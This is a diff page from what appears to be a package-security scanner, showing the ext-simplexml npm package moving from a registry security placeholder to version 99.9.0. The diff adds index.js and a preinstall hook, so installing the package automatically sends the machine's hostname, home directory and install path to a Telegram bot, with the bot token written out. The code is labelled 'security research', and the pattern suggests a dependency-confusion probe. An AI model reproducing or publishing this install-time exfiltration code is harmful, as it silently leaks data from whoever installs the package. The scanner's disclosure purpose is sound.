ext-simplexml 0.0.1-security → 99.9.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of ext-simplexml might be problematic. Click here for more details.
- package/README.md +2 -5
- package/index.js +54 -0
- package/package.json +9 -3
package/README.md
CHANGED
@@ -1,5 +1,2 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=ext-simplexml for more information.
|
1
|
+
This package is meant for security research.
|
2
|
+
contact: savik@wearehackerone.com
|
package/index.js
ADDED
@@ -0,0 +1,54 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
|
3
|
+
// https://hackerone.com/reports/1104693, maybe replace by sh
|
4
|
+
|
5
|
+
function sendToServer(data) {
|
6
|
+
|
7
|
+
const telegram_data = JSON.stringify({
|
8
|
+
chat_id: '298118942',
|
9
|
+
text: data
|
10
|
+
})
|
11
|
+
|
12
|
+
const options = {
|
13
|
+
hostname: 'api.telegram.org',
|
14
|
+
port: 443,
|
15
|
+
path: '/bot1719837914:AAFN8Rv3cy3JnOsFpyTU9kwfWaKqQTyay1c/sendMessage',
|
16
|
+
method: 'POST',
|
17
|
+
headers: {
|
18
|
+
'Content-Type': 'application/json',
|
19
|
+
'Content-Length': telegram_data.length
|
20
|
+
}
|
21
|
+
}
|
22
|
+
|
23
|
+
const req = https.request(options, res => {})
|
24
|
+
|
25
|
+
req.write(telegram_data)
|
26
|
+
req.end()
|
27
|
+
}
|
28
|
+
|
29
|
+
|
30
|
+
try {
|
31
|
+
|
32
|
+
const os = require('os');
|
33
|
+
|
34
|
+
const package = 'ext-simplexml';
|
35
|
+
|
36
|
+
function tryGet(toCall) {
|
37
|
+
try {
|
38
|
+
return toCall()
|
39
|
+
} catch (e) {
|
40
|
+
return 'error'
|
41
|
+
}
|
42
|
+
}
|
43
|
+
|
44
|
+
const data = JSON.stringify({
|
45
|
+
p: package,
|
46
|
+
h: tryGet(os.hostname),
|
47
|
+
d: tryGet(os.homedir),
|
48
|
+
c: __dirname,
|
49
|
+
})
|
50
|
+
|
51
|
+
sendToServer(data)
|
52
|
+
} catch (e) {
|
53
|
+
sendToServer('error: ' + String(tryGet(os.hostname)) + ' while script' + String(e))
|
54
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "ext-simplexml",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "99.9.0",
|
4
|
+
"description": "Security research",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "savik@wearehackerone.com",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|